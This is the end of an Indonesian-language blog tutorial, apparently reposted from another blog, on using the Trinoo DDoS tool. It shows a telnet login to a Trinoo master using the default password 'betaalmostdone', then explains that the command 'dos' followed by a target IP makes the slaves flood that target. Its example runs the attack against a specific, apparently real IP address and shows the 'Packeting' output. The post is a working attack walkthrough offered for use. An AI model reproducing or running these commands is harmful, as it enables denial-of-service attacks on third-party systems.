2Trying x.x.x.x...
3Connected to hostxxxxxxxx.
4Escape character is '^]'.
5betaalmostdone
6trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
7
8trinoo>

Dalam contoh ini saya menggunakan password default:
betaalmostdone

untuk memerintahkan master slave melakukan ddos ketikkan perintah : dos alamat_ip_target

view source
print?
1trinoo> dos 74.63.241.86
2DoS: Packeting 74.63.241.86.
3trinoo>

Ok untuk sementara sekian dulu dan terima kasih

Dikutip dari wisdomc0d3.wordpress.com

Posted by at
Labels:

No comments:

Post a Comment

Subscribe to: Post Comments (Atom)